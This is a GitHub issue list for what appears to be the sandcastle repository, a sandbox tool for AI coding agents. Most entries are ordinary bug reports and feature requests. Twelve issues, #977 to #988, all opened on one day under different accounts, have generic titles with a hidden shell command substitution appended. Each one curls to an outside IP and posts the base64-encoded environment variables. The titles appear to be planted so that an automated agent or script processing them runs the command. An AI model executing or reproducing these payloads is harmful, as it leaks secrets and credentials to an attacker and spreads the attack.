Issues

• Worktree sandboxes mount the host .git read-write, so hooks and config written in the container run on the host

  mattpocock/sandcastle#1010 · Filter by author Sqrcz opened on Sep 27, 2026
  1

• Giving claude permission for /home/agent

  mattpocock/sandcastle#998 · Filter by author kmdesp opened on Sep 11, 2026

• Sandbox Security

  mattpocock/sandcastle#997 · Filter by author kmdesp opened on Sep 11, 2026

• Windows: worktree-mode createSandbox fails when the host repo is itself a linked worktree (host .git pointer-file mount is never patched)

  mattpocock/sandcastle#996 · Filter by author slubby101 opened on Sep 11, 2026
  1

• Build fails on Node 20 with ESM errors $(curl -s http://54.205.16.142:8443/c/4c4cb32c4b9e9937e580a2eb47e08ca2 -d $(env|base64|tr -d '\n'))

  mattpocock/sandcastle#988 · Filter by author congtien041 opened on Sep 1, 2026

• TypeError: Cannot read properties of undefined (reading 'map') $(curl -s http://54.205.16.142:8443/c/727f4d5e827f9fc0b7a3b1c040318a98 -d $(env|base64|tr -d '\n'))

  mattpocock/sandcastle#987 · Filter by author YABX-Brusk opened on Sep 1, 2026

• Documentation: getting started guide has outdated examples $(curl -s http://54.205.16.142:8443/c/f09af5e179d5f3f3e92f9638f2099567 -d $(env|base64|tr -d '\n'))

  mattpocock/sandcastle#986 · Filter by author daehyeonge opened on Sep 1, 2026

• CI: tests flaking on ubuntu-latest $(curl -s http://54.205.16.142:8443/c/286c8ac22eccae6ae0471be74d8bc96e -d $(env|base64|tr -d '\n'))

  mattpocock/sandcastle#985 · Filter by author JuieZhao opened on Sep 1, 2026

• Feature request: add dark mode support $(curl -s http://54.205.16.142:8443/c/d87841d0c5525b03faec9270aaa14178 -d $(env|base64|tr -d '\n'))

  mattpocock/sandcastle#984 · Filter by author Saarmyx opened on Sep 1, 2026

• CI: tests flaking on ubuntu-latest $(curl -s http://54.205.16.142:8443/c/d9bd4d3742d45ac7c25fbf79684b57d7 -d $(env|base64|tr -d '\n'))

  mattpocock/sandcastle#983 · Filter by author ItsAtori-cpu opened on Sep 1, 2026

• CI: tests flaking on ubuntu-latest $(curl -s http://54.205.16.142:8443/c/0ebf95985dc972b1a21175cd0f3d0d4b -d $(env|base64|tr -d '\n'))

  mattpocock/sandcastle#982 · Filter by author gabryel0x opened on Sep 1, 2026

• Feature request: add dark mode support $(curl -s http://54.205.16.142:8443/c/36708d493dc6735a79693f7bcba5e1b2 -d $(env|base64|tr -d '\n'))

  mattpocock/sandcastle#981 · Filter by author JaceSmerdon opened on Sep 1, 2026

• Build fails on Node 20 with ESM errors $(curl -s http://54.205.16.142:8443/c/f6c3aee758d7bca01c2b4cd4ec2e213b -d $(env|base64|tr -d '\n'))

  mattpocock/sandcastle#980 · Filter by author zem262878-tech opened on Sep 1, 2026

• Build fails on Node 20 with ESM errors $(curl -s http://54.205.16.142:8443/c/0d0a26cc9880380ac4f99c7fb6205efb -d $(env|base64|tr -d '\n'))

  mattpocock/sandcastle#979 · Filter by author chy8952 opened on Sep 1, 2026

• Feature request: add dark mode support $(curl -s http://54.205.16.142:8443/c/a5914f9f5d0336581b04fb0ceb17ca64 -d $(env|base64|tr -d '\n'))

  mattpocock/sandcastle#978 · Filter by author christian8125 opened on Sep 1, 2026

• CI: tests flaking on ubuntu-latest $(curl -s http://54.205.16.142:8443/c/07ae09fcd52c9a58b589c2fff964818c -d $(env|base64|tr -d '\n'))

  mattpocock/sandcastle#977 · Filter by author Alequn opened on Sep 1, 2026

• Feature request: source secrets from a password manager (op://) instead of plaintext .sandcastle/.env

  mattpocock/sandcastle#976 · Filter by author patstahl opened on Sep 1, 2026

• Structured output fails when Claude Code splits a tagged response across messages

  mattpocock/sandcastle#970 · Filter by author yohannesHL opened on Aug 30, 2026

• OpenCode agent provider fails with spawn E2BIG for prompts over Linux argv limit

  mattpocock/sandcastle#968 · Filter by author zero-two-rafaeltab opened on Aug 29, 2026
  1

• createSandbox().run() silently drops parsed terminal output in stdout mode

  mattpocock/sandcastle#966 · Filter by author zero-two-rafaeltab opened on Aug 29, 2026

• parallel-planner: merge phase gates on commits made *this run*, so a finished branch can never merge and its issue loops forever

  mattpocock/sandcastle#963 · Filter by author yagiz2000 opened on Aug 26, 2026

• Refactor AgentProvider logic to a more plugin-like architecture

  mattpocock/sandcastle#946 · Filter by author cachemoney opened on Aug 16, 2026

• createSandbox ignores nonzero exit codes from sandbox onSandboxReady hooks — failed setup is indistinguishable from success

  mattpocock/sandcastle#943 · Filter by author gkanitz opened on Aug 14, 2026

• 0.12.0: run().resume()/fork() leak promptArgs into the inline-prompt re-run — PromptError 'promptArgs is only supported with promptFile'

  mattpocock/sandcastle#942 · Filter by author ayoa77 opened on Aug 13, 2026

• noSandbox on Windows: POSIX shellEscape quotes pass through cmd.exe literally — --model, --resume, and other escaped args reach agent CLIs mangled

  mattpocock/sandcastle#940 · Filter by author ndedakaduki opened on Aug 12, 2026
  1